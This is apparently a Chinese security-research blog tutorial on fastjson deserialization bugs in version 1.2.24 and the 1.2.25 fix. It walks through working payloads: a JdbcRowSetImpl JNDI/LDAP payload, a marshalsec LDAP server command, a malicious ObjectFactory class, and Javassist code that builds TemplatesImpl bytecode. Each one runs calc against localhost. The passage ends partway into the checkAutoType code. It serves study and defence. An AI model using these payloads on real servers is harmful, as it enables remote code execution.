java反序列化-fastjson

推荐阅读时间:60min
全文字数:14026

前言

其实从一开始就是想着学一下fastjson组件的反序列化。结果发现完全理解不能。

就先一路补了很多其他知识点,RMI反序列化,JNDI注入,7u21链等(就是之前的文章),之后也是拖了很长时间,花了很长时间,总算把这篇一开始就想写的文,给补完了。

类似的文是已经有了不少,学习也是基于前辈们的文章一步步走来,但是个人习惯于把所有问题理清楚,讲清楚。理应是比大佬们的文要细致些。

本文需要前置知识:JNDI注入,7u21利用链,可以戳我往期的文章。

文章内容如下:

  1. fastjson组件基础介绍及使用(三种反序列化形式等)
  2. fastjson组件的@type标识的特性说明(默认调用setter、getter方法条件等)。
  3. 分析了fastjson组件1.2.24版本中JNDI注入利用链与setter参数巧妙完美适配(前置知识参考JNDI注入一文)
  4. 分析了fastjson组件1.2.24版本中JDK1.7TemplatesImpl利用链的漏洞触发点poc构造(前置知识参考7u21一文)
  5. 分析了1.2.24-1.2.46版本每个版本迭代中修改代码,修复思路和绕过。(此时由于默认白名单的引入,漏洞危害大降)
  6. 到了1.2.47通杀黑白名单漏洞,因为网上对于这个分析文有点过多。这边想着直接正向来没得意思。尝试从代码审计漏洞挖掘的角度去从零开始挖掘出这一条利用链。最后发现产生了一种我上我也行的错觉(当然实际上只是一种错觉,不可避免受到了已有payload的引导,但是经过分析也算是不会对大佬的0day产生一种畏惧心理,看完也是可以理解的)最后再看了下修复。

本文实验代码均上传github,那么想要好好学习的小伙伴请打开idea,配合食用。

fastjson组件

fastjson组件是阿里巴巴开发的反序列化与序列化组件,具体细节可以参考github文档

组件api使用方法也很简洁

1
2
3
4
5
6
//序列化
String text = JSON.toJSONString(obj);
//反序列化
VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类

我们通过demo来使用一下这个组件

以下使用测试均是基于1.2.24版本的fastjson jar包

靶机搭建需要存在漏洞的jar包,但是在github上通常会下架存在漏洞的jar包。

我们可以从maven仓库中找到所有版本jar包,方便漏洞复现。

fastjson组件使用

先构建需要序列化的User类:
User.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package com.fastjson;

public class User {
private String name;
private int age;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}
}

再使用fastjson组件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package com.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Main {

public static void main(String[] args) {
//创建一个用于实验的user类
User user1 = new User();
user1.setName("lala");
user1.setAge(11);

//序列化
String serializedStr = JSON.toJSONString(user1);
System.out.println("serializedStr="+serializedStr);

//通过parse方法进行反序列化,返回的是一个JSONObject
Object obj1 = JSON.parse(serializedStr);
System.out.println("parse反序列化对象名称:"+obj1.getClass().getName());
System.out.println("parse反序列化:"+obj1);

//通过parseObject,不指定类,返回的是一个JSONObject
Object obj2 = JSON.parseObject(serializedStr);
System.out.println("parseObject反序列化对象名称:"+obj2.getClass().getName());
System.out.println("parseObject反序列化:"+obj2);

//通过parseObject,指定类后返回的是一个相应的类对象
Object obj3 = JSON.parseObject(serializedStr,User.class);
System.out.println("parseObject反序列化对象名称:"+obj3.getClass().getName());
System.out.println("parseObject反序列化:"+obj3);
}
}

以上使用了三种形式反序列化
结果如下:

1
2
3
4
5
6
7
8
9
10
11
//序列化
serializedStr={"age":11,"name":"lala"}
//parse({..})反序列化
parse反序列化对象名称:com.alibaba.fastjson.JSONObject
parse反序列化:{"name":"lala","age":11}
//parseObject({..})反序列化
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"name":"lala","age":11}
//parseObject({},class)反序列化
parseObject反序列化对象名称:com.fastjson.User
parseObject反序列化:com.fastjson.User@3d71d552

parseObject({..})其实就是parse({..})的一个封装,对于parse的结果进行一次结果判定然后转化为JSONOBject类型。

1
2
3
4
public static JSONObject parseObject(String text) {
Object obj = parse(text);
return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
}

而parseObject({},class)好像会调用class加载器进行类型转化,但这个细节不是关键,就不研究了

那么三种反序列化方式除了返回结果之外,还有啥区别?

在执行过程调用函数上有不同。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package com.fastjson;
import com.alibaba.fastjson.JSON;
import java.io.IOException;

public class FastJsonTest {

public String name;
public String age;
public FastJsonTest() throws IOException {
}

public void setName(String test) {
System.out.println("name setter called");
this.name = test;
}

public String getName() {
System.out.println("name getter called");
return this.name;
}

public String getAge(){
System.out.println("age getter called");
return this.age;
}

public static void main(String[] args) {
Object obj = JSON.parse("{\"@type\":\"com.fastjson.FastJsonTest\",\"name\":\"thisisname\", \"age\":\"thisisage\"}");
System.out.println(obj);

Object obj2 = JSON.parseObject("{\"@type\":\"com.fastjson.FastJsonTest\",\"name\":\"thisisname\", \"age\":\"thisisage\"}");
System.out.println(obj2);

Object obj3 = JSON.parseObject("{\"@type\":\"com.fastjson.FastJsonTest\",\"name\":\"thisisname\", \"age\":\"thisisage\"}",FastJsonTest.class);
System.out.println(obj3);
}
}

结果如下:

1
2
3
4
5
6
7
8
9
10
11
//JSON.parse("")
name setter called
com.fastjson.FastJsonTest@5a2e4553
//JSON.parseObject("")
name setter called
age getter called
name getter called
{"name":"thisisname","age":"thisisage"}
//JSON.parseObject("",class)
name setter called
com.fastjson.FastJsonTest@e2144e4

结论:

  • parse(“”) 会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法
  • parseObject(“”) 会调用反序列化目标类的特定 setter 和 getter 方法(此处有的博客说是所有setter,个人测试返回String的setter是不行的,此处打个问号)
  • parseObject(“”,class) 会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法

特定的setter和getter的调用都是在解析过程中的调用。(具体是哪些setter和getter会被调用,我们将在之后讲到)

setter解析中执行.png

之所以parseObject(“”)有区别就是因为parseObject(“”)比起其他方式多了一步toJSON操作,在这一步中会对所有getter进行调用。

getter全调用.png

@type

那么除开正常的序列化,反序列化。
fastjson提供特殊字符段@type,这个字段可以指定反序列化任意类,并且会自动调用类中属性的特定的set,get方法。

我们先来看一下这个字段的使用:

1
2
3
4
5
6
7
8
9
10
11
12
13
//@使用特定修饰符,写入@type序列化
String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName);
System.out.println("serializedStr1="+serializedStr1);

//通过parse方法进行反序列化
Object obj4 = JSON.parse(serializedStr1);
System.out.println("parse反序列化对象名称:"+obj4.getClass().getName());
System.out.println("parseObject反序列化:"+obj4);

//通过这种方式返回的是一个相应的类对象
Object obj5 = JSON.parseObject(serializedStr1);
System.out.println("parseObject反序列化对象名称:"+obj5.getClass().getName());
System.out.println("parseObject反序列化:"+obj5);

1
2
3
4
5
6
7
8
//序列化
serializedStr1={"@type":"com.fastjson.User","age":11,"name":"lala"}
//parse反序列化
parse反序列化对象名称:com.fastjson.User
parseObject反序列化:com.fastjson.User@1cf4f579
//parseObject反序列化
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"name":"lala","age":11}

这边在调试的时候,可以看到,本该解析出来的@type都没有解析出来

@type反序列化.png

以上我们可以知道当@type输入的时候会特殊解析(不然的话会有@type:com.fastjson.User的键值对),那么自动调用其特定的set,get方法怎么说呢?

我们先建立一个序列化实验用的Person类

Person.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package com.fastjson;

import java.util.Properties;

public class Person {
//属性
public String name;
private String full_name;
private int age;
private Boolean sex;
private Properties prop;
//构造函数
public Person(){
System.out.println("Person构造函数");
}
//set
public void setAge(int age){
System.out.println("setAge()");
this.age = age;
}
//get 返回Boolean
public Boolean getSex(){
System.out.println("getSex()");
return this.sex;
}
//get 返回ProPerties
public Properties getProp(){
System.out.println("getProp()");
return this.prop;
}
//在输出时会自动调用的对象ToString函数
public String toString() {
String s = "[Person Object] name=" + this.name + " full_name=" + this.full_name + ", age=" + this.age + ", prop=" + this.prop + ", sex=" + this.sex;
return s;
}
}

@type反序列化实验:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.fastjson;

import com.alibaba.fastjson.JSON;

public class type {

public static void main(String[] args) {
String eneity3 = "{\"@type\":\"com.fastjson.Person\", \"name\":\"lala\", \"full_name\":\"lalalolo\", \"age\": 13, \"prop\": {\"123\":123}, \"sex\": 1}";
//反序列化
Object obj = JSON.parseObject(eneity3,Person.class);
//输出会调用obj对象的tooString函数
System.out.println(obj);
}
}

结果如下:

1
2
3
4
5
6
7
8
9
10
Person构造函数
setAge()
getProp()
[Person Object] name=lala full_name=null, age=13, prop=null, sex=null

public name 反序列化成功
private full_name 反序列化失败
private age setAge函数被调用
private sex getsex函数没有被调用
private prop getprop函数被成功调用

可以得知:

  • public修饰符的属性会进行反序列化赋值,private修饰符的属性不会直接进行反序列化赋值,而是会调用setxxx(xxx为属性名)的函数进行赋值。
  • getxxx(xxx为属性名)的函数会根据函数返回值的不同,而选择被调用或不被调用

决定这个set/get函数是否将被调用的代码最终在com.alibaba.fastjson.util.JavaBeanInfo#build函数处

解析set-get.png

在进入build函数后会遍历一遍传入class的所有方法,去寻找满足set开头的特定类型方法;再遍历一遍所有方法去寻找get开头的特定类型的方法

set条件.png

set开头的方法要求如下:

  • 方法名长度大于4且以set开头,且第四个字母要是大写
  • 非静态方法
  • 返回类型为void或当前类
  • 参数个数为1个

寻找到符合要求的set开头的方法后会根据一定规则提取方法名后的变量名(好像会过滤_,就是set_name这样的方法名中的下划线会被略过,得到name)。再去跟这个类的属性去比对有没有这个名称的属性。

如果没有这个属性并且这个set方法的输入是一个布尔型(是boolean类型,不是Boolean类型,这两个是不一样的),会重新给属性名前面加上is,再取头两个字符,第一个字符为大写(即isNa),去寻找这个属性名。

get条件.png

这里的is就是有的网上有的文章中说反序列化会自动调用get、set、is方法的由来。个人觉得这种说法应该是错误的。

真实情况应该是确认存在符合setXxx方法后,会与这个方法绑定一个xxx属性,如果xxx属性不存在则会绑定isXx属性(这里is后第一个字符需要大写,才会被绑定)。并没有调用is开头的方法

自己从源码中分析或者尝试在类中添加isXx方法都是不会被调用的,这里只是为了指出其他文章中的一个错误。这个与调用的set方法绑定的属性,再之后并没有发现对于调用过程有什么影响。

所以只要目标类中有满足条件的set方法,然后得到的方法变量名存在于序列化字符串中,这个set方法就可以被调用。

如果有老哥确定是否可以调用is方法,可以联系我,非常感谢。

get条件.png

get开头的方法要求如下:

  • 方法名长度大于等于4
  • 非静态方法
  • 以get开头且第4个字母为大写
  • 无传入参数
  • 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

所以我们上面例子中的getsex方法没有被调用是因为返回类型不符合,而getprop方法被成功调用是因为Properties 继承 Hashtable,而Hashtable实现了Map接口,返回类型符合条件。

再顺便看一下最后触发方法调用的地方com.alibaba.fastjson.parser.deserializer.FieldDeserializer#setValue,(在被调用的方法中下断点即可)

调用方法处.png

那么至此我们可以知道

  • @type可以指定反序列化成服务器上的任意类
  • 然后服务端会解析这个类,提取出这个类中符合要求的setter方法与getter方法(如setxxx)
  • 如果传入json字符串的键值中存在这个值(如xxx),就会去调用执行对应的setter、getter方法(即setxxx方法、getxxx方法)

上面说到readObejct(“”)还会额外调用toJSON调用所有getter函数,可以不符合要求。

看上去应该是挺正常的使用逻辑,反序列化需要调用对应参数的setter、getter方法来恢复数据。

但是在可以调用任意类的情况下,如果setter、getter方法中存在可以利用的情况,就会导致任意命令执行。

对应反序列化攻击利用三要素来说,以上我们就是找到了readObject复写点,下面来探讨反序列化利用链。

我们先来看最开始的漏洞版本是<=1.2.24,在这个版本前是默认支持@type这个属性的。

【<=1.2.24】JNDI注入利用链——com.sun.rowset.JdbcRowSetImpl

利用条件

JNDI注入利用链是通用性最强的利用方式,在以下三种反序列化中均可使用:

1
2
3
parse(jsonStr)
parseObject(jsonStr)
parseObject(jsonStr,Object.class)

当然JDK版本有特殊需求,在JNDI注入一文中已说过,这里就不再说明

利用链

在JNDI注入一文中我们已经介绍了利用链,把漏洞触发代码从

1
2
3
String uri = "rmi://127.0.0.1:1099/aa";//可控uri
Context ctx = new InitialContext();
ctx.lookup(uri);

衍生到了

1
2
3
4
5
6
7
8
9
10
import com.sun.rowset.JdbcRowSetImpl;

public class CLIENT {

public static void main(String[] args) throws Exception {
JdbcRowSetImpl JdbcRowSetImpl_inc = new JdbcRowSetImpl();//只是为了方便调用
JdbcRowSetImpl_inc.setDataSourceName("rmi://127.0.0.1:1099/aa");//可控uri
JdbcRowSetImpl_inc.setAutoCommit(true);
}
}

下面尝试用fastjson的@type来使服务端执行以上代码,可以看到我们需要调用的两个函数都是以set开头!这说明我们可以把这个函数当作setter函数进行调用!

去看一下这两个函数接口符不符合setter函数的条件

1
2
public void setDataSourceName(String var1) throws SQLException
public void setAutoCommit(boolean var1)throws SQLException
  • 方法名长度大于4且以set开头,且第四个字母要是大写
  • 非静态方法
  • 返回类型为void或当前类
  • 参数个数为1个

完美符合!直接给出payload!

1
2
3
4
5
{
"@type":"com.sun.rowset.JdbcRowSetImpl", //调用com.sun.rowset.JdbcRowSetImpl函数中的
"dataSourceName":"ldap://127.0.0.1:1389/Exploit", // setdataSourceName函数 传入参数"ldap://127.0.0.1:1389/Exploit"
"autoCommit":true // 再调用setAutoCommit函数,传入true
}

java环境:jdk1.8.0_161 < 1.8u191 (可以使用ldap注入)

1
2
3
4
5
6
7
8
package 版本24;

import com.alibaba.fastjson.JSON;
import com.fastjson.User;
public class POC {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":true}";
JSON.parse(payload);
}

使用工具起一个ldap服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#ExecTest

之前的ExecTest.class,也不用修改直接上来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import java.io.IOException;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;

public class ExecTest implements ObjectFactory {
public ExecTest() {
}

public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) {
exec("xterm");
return null;
}

public static String exec(String var0) {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException var2) {
var2.printStackTrace();
}

return "";
}

public static void main(String[] var0) {
exec("123");
}
}

在1.8下编译后使用python起web服务

py -3 -m http.server 8090

jndi计算器.png

【<=1.2.24】JDK1.7 的TemplatesImpl利用链

利用条件

基于JDK1.7u21 Gadgets 的触发点TemplatesImple的利用条件比较苛刻:

  1. 服务端使用parseObject()时,必须使用如下格式才能触发漏洞:
    JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);
  2. 服务端使用parse()时,需要JSON.parse(text1,Feature.SupportNonPublicField);

这是因为payload需要赋值的一些属性为private属性,服务端必须添加特性才回去从json中恢复private属性的数据

private属性.png

对于 JDK1.7u21 Gadgets 不熟悉的同学,可以参考我之前的文章。

在之前的文章也说过,TemplatesImpl对应的整条利用链是只有在JDK1.7u21附近的版本才能使用,但是最后TemplatesImpl这个类的触发点,其实是1.7全版本通用的。(因为修复只砍在了中间环节AnnotationInvocationHandler类)

那么实际上fastjson正是只利用了最后的TemplatesImpl触发点。这个利用方式实际上是1.7版本通用的。
其利用局限性在于服务端反序列化json的语句必须要支持private属性。

1.7u21 TemplatesImpl链计算器.png

1.7u80 TemplatesImpl链计算器.png

在Github上传的项目中版本24.jdk7u21.java是网上的payload。需要自己编译生成一个class文件不是很方便。

版本24.jdk7u21_mine中自己把7u21链的payload中拿过来,自己改了下,可以自动生成payload。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57

public class jdk7u21_mine {
//最终执行payload的类的原始模型
//ps.要payload在static模块中执行的话,原始模型需要用static方式。
public static class lala{

}
//返回一个在实例化过程中执行任意代码的恶意类的byte码
//如果对于这部分生成原理不清楚,参考以前的文章
public static byte[] getevilbyte() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(lala.class.getName());
//要执行的最终命令
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
//之前说的静态初始化块和构造方法均可,这边用静态方法
cc.makeClassInitializer().insertBefore(cmd);
// CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
// cons.setBody("{"+cmd+"}");
// cc.addConstructor(cons);
//设置不重复的类名
String randomClassName = "LaLa"+System.nanoTime();
cc.setName(randomClassName);
//设置满足条件的父类
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
//获取字节码
byte[] lalaByteCodes = cc.toBytecode();

return lalaByteCodes;
}
//生成payload,触发payload
public static void poc() throws Exception {
//生成攻击payload
byte[] evilCode = getevilbyte();//生成恶意类的字节码
String evilCode_base64 = Base64.encodeBase64String(evilCode);//使用base64封装
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{"+
"\"@type\":\"" + NASTY_CLASS +"\","+
"\"_bytecodes\":[\""+evilCode_base64+"\"],"+
"'_name':'a.b',"+
"'_tfactory':{ },"+
"'_outputProperties':{ }"+
"}\n";
//此处删除了一些我觉得没有用的参数(第二个_name,_version,allowedProtocols),并没有发现有什么影响
System.out.println(text1);
//服务端触发payload
ParserConfig config = new ParserConfig();
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
}
//main函数调用以下poc而已
public static void main(String args[]){
try {
poc();
} catch (Exception e) {
e.printStackTrace();
}
}
}

可以看到payload使用@type反序列化了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类。

最终payload输出如下:

1
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADMAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARsYWxhAQAMSW5uZXJDbGFzc2VzAQAcTOeJiOacrDI0L2pkazd1MjFfbWluZSRsYWxhOwEAClNvdXJjZUZpbGUBABFqZGs3dTIxX21pbmUuamF2YQwABAAFBwATAQAa54mI5pysMjQvamRrN3UyMV9taW5lJGxhbGEBABBqYXZhL2xhbmcvT2JqZWN0AQAV54mI5pysMjQvamRrN3UyMV9taW5lAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAFQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMABcAGAoAFgAZAQAEY2FsYwgAGwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMAB0AHgoAFgAfAQARTGFMYTg4MTIwNDQ1NzYzMDABABNMTGFMYTg4MTIwNDQ1NzYzMDA7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAADwAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}

7u21 那篇文中总结得到恶意TemplatesImple类需要满足如下条件。

  1. TemplatesImpl类的 _name 变量 != null
  2. TemplatesImpl类的_class变量 == null
  3. TemplatesImpl类的 _bytecodes 变量 != null
  4. TemplatesImpl类的_bytecodes是我们代码执行的类的字节码。_bytecodes中的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类
  5. 我们需要执行的恶意代码写在_bytecodes 变量对应的类的静态方法或构造方法中。
  6. TemplatesImpl类的_tfactory需要是一个拥有getExternalExtensionsMap()方法的类,使用jdk自带的TransformerFactoryImpl类

显而易见1-3,5均符合(_class没有赋值即为null)。

然后我们调用满足条件的恶意TemplatesImple类的getOutputProperties方法,完成RCE。这是fastjson将自动调用字段的getter方法导致的,我们看一下getOutputProperties方法是否满足自动调用getter方法的条件:

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties

1
2
3
4
5
6
7
8
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
  • 方法名长度大于等于4
  • 非静态方法
  • 以get开头且第4个字母为大写
  • 无传入参数
  • 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong(上面举例的时候说过Properties继承自Hashtables,实现了Map,所以符合)

那么存在以下三个问题

  1. 为什么_tfactory可以是一个空的对象,而不是一个拥有getExternalExtensionsMap的类?
  2. _bytecodes为什么不再是字节码,而是需要base64编码?
  3. 我们要调用TemplatesImple类的getOutputProperties方法,但是为什么是_outputProperties字段,多了一个_

_tfactory为空的说明

在fastjson组件对于以上这一串东西进行解析时,会先解析出@type来还原出TemplatesImpl类。然后再根据之后的字段将TemplatesImpl类的属性赋值,至于赋值的内容会重新进行一次解析。

在看对于赋值内容的解析步骤时,会发现当赋值的值为一个空的Object对象时,会新建一个需要赋值的字段应有的格式的新对象实例。

/com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.java:627

_tfactory为空.png

/com/alibaba/fastjson/parser/deserializer/DefaultFieldDeserializer.java:62

_tfactory为空2.png

那么_tfactory的应有的格式是哪来的呢,从定义来。

/com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java

1
2
3
4
5
/**
* A reference to the transformer factory that this templates
* object belongs to.
*/
private transient TransformerFactoryImpl _tfactory = null;

所以之所以_tfactory的json字符串的值为空是OK的。

_bytecodes需要base64编码

跟踪_bytecodes字段的值处理,同样还是刚才的地方,但是由于_bytecodes的值不是对象,进入另一个赋值方式。

/com/alibaba/fastjson/parser/deserializer/DefaultFieldDeserializer.java:71

base64-1.png

com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze

1
2
3
4
5
6
7
8
      //进去后判断字段类型,当前是class[B byte数组,上面啥都不做,进行解析
...
}
JSONArray array = new JSONArray();
parser.parseArray(componentClass, array, fieldName);//进入此处

return (T) toObjectArray(parser, componentClass, array);
}

com.alibaba.fastjson.parser.DefaultJSONParser#parseArray(java.lang.reflect.Type, java.util.Collection, java.lang.Object)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//type=class [B byte数组
//fieldName = _bytecodes
public void parseArray(Type type, Collection array, Object fieldName) {
...//这边就是在根据type类型进行不同的处理
} else {//byte数组进入此处
val = deserializer.deserialze(this, type, i);//在这句进行解析
}
array.add(val);
checkListResolve(array);
}

if (lexer.token() == JSONToken.COMMA) {
lexer.nextToken(deserializer.getFastMatchToken());
continue;
}
}
} finally {
this.setContext(context);
}

com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze

1
2
3
4
5
6
7
8
9
10
11
12
public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
final JSONLexer lexer = parser.lexer;
if (lexer.token() == JSONToken.NULL) {
lexer.nextToken(JSONToken.COMMA);
return null;
}
//我们输入的json串中, _bytecodes 字段对应的值是String类型字符串,进入此处
if (lexer.token() == JSONToken.LITERAL_STRING) {
byte[] bytes = lexer.bytesValue();//进入此处,获取json串的值恢复到byte数组
lexer.nextToken(JSONToken.COMMA);
return (T) bytes;
}

com.alibaba.fastjson.parser.JSONScanner#bytesValue

1
2
3
public byte[] bytesValue() {
return IOUtils.decodeBase64(text, np + 1, sp);//base64解码
}

可见在代码逻辑中,字段的值从String恢复成byte[],会经过一次base64解码。这是应该是fastjson在传输byte[]中做的一个内部规定。序列化时应该也会对byte[]自动base64编码。

try一下,果然如此。

base64-3.png

_getOutputProperties字段 => getOutputProperties方法

简单的删掉_试一下:

_outputProperties.png

可以发现,并不会对结果造成什么影响,可见这个_不是必须的。

那么是在哪里对这个_进行了处理呢?

在字段解析之前,会对于当前字段进行一次智能匹配com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField:

1
2
3
4
5
public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType,
Map<String, Object> fieldValues) {
JSONLexer lexer = parser.lexer;
FieldDeserializer fieldDeserializer = smartMatch(key);//进入此处,根据json串的字段名来获取字段反序列化解析器。
...

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public FieldDeserializer smartMatch(String key) {
if (key == null) {
return null;
}

FieldDeserializer fieldDeserializer = getFieldDeserializer(key);

if (fieldDeserializer == null) {
boolean startsWithIs = key.startsWith("is");
...
//以下省略了对于is开头的字段的一些判断逻辑。
//好像满足了一定条件,会去跟对应的符合getter,settger的方法名匹配。
//好像又回到is方法可以调用不了,但是真的脑壳疼,漏洞关键也不在于此,就不纠结了。
}
}
//遍历我们输入的key的每一个字符,匹配第一个-或_替换为空
if (fieldDeserializer == null) {
boolean snakeOrkebab = false;
String key2 = null;
for (int i = 0; i < key.length(); ++i) {
char ch = key.charAt(i);
if (ch == '_') {
snakeOrkebab = true;
key2 = key.replaceAll("_", "");
break;
} else if (ch == '-') {
snakeOrkebab = true;
key2 = key.replaceAll("-", "");
break;
}
}
//接下来根据替换后的key2,去寻找对应符合getter,setter的方法名进行匹配。

_output ok.png

然后在赋值的时候完美触发getoutputProperties方法。

com.alibaba.fastjson.parser.deserializer.FieldDeserializer#setValue(java.lang.Object, java.lang.Object)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public void setValue(Object object, Object value) {
if (value == null //
&& fieldInfo.fieldClass.isPrimitive()) {
return;
}

try {
Method method = fieldInfo.method;
if (method != null) {
if (fieldInfo.getOnly) {
//判断特殊类型
...
//进入getoutputProperties方法的返回值是Properties符合该一项(之前说过)
} else if (Map.class.isAssignableFrom(method.getReturnType())) {
//进入调用,object是我们的恶意TemplatesImpl类
Map map = (Map) method.invoke(object);

那么以上流程就是_getOutputProperties字段 => getOutputProperties方法具体演变的细节。那么以上分析结果也让我们知道加个骚气的小杠-应该也是可以的。

-output 也可以.png

至此就完成了在知道Templates触发类原理的情况下,变形衍生到了fastjson中完成RCE。

至于Templates恶意类的第二个触发点,xalan 2.7.2的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,在JDK反序列化Gadgets7u21一文中有补充说明,这里就不多说了。

Fastjson抗争的一生

在讲述完最开始引发漏洞的1.2.24版本之后,其实接下来的部分才是开起此篇的初衷。但是因为基础实在是差+懒,直到现在才开始正文。

1.2.24漏洞版本修复

在1.2.25版本,针对1.2.24版本进行了修复。

我们可以总结以下1.2.24版本的漏洞产生原因:

  1. @type该关键词的特性会加载任意类,并给提供的输入字段的值进行恢复,如果字段有setter、getter方法会自动调用该方法,进行赋值,恢复出整个类。
    这个过程会被叫做fastjson的反序列化过程,注意不要把这个过程跟java反序列化过程混为一谈。它们两个是同等级的存在,而不是前者基于后者之上。也就是说readObject()反序列化利用点那一套在这根本不适用。相应的@type加载任意类+符合条件的setter与getter变成了反序列化利用点(个人总结的三要素中的反序列化漏洞触发点)。
  2. 在找到可以调用的setter、getter之后,从这个可以被出发的setter、getter之后就可以沿着不同的反序列化利用链前进,比如具有一定限制条件的TemplatesImpl利用链,JNDI注入的利用链。(个人总结三要素中的反序列化利用链)
  3. 沿着链就会到最后的payload触发点。比如JNDI的远程恶意class文件的实例化操作(构造函数,静态方法)或调用类中getObjectInstance方法,与TemplatesImpl利用链中的class文件字节码的的实例化操作(构造函数,静态方法)(个人总结三要素中的反序列化payload触发点)

可以注意到最终的payload触发点具有好像是巧合的统一性,都类似于是一个class文件的实例化操作。在commons-collections中则是反射机制(这在@type中的getter、setter函数调用中也被用到)。我们应该对这两个点产生敏感性。

修复则是针对三要素中的一者进行截断。在1.2.25中的修复原理就是针对了反序列化漏洞触发点进行限制。对于@type标签进行一个白名单+黑名单的限制机制。

使用万能的idea对两个版本的jar包进行对比

修复1.2.24.png

可以注意到,在解析json串的DefaultJSONParser类中做了一行代码的修改。当输入的键值是@type时,原本直接对值对应的类进行加载。现在会将值ref传入checkAutoType方法中。

checkAutoType是1.2.25版本中新增的一个白名单+黑名单机制。同时引入一个配置参数AutoTypeSupport。参考官方wiki

Fastjson默认AutoTypeSupport为False(开启白名单机制),通过需要服务端通过以下代码来显性修改。

1
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); (关闭白名单机制)

由于checkAutoType中两条路线的代码是穿插的,我们先来看默认AutoTypeSupport为False时的代码。

1.2.25版本com.alibaba.fastjson.parser.ParserConfig#checkAutoType(开启白名单机制)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}

final String className = typeName.replace('$', '.');

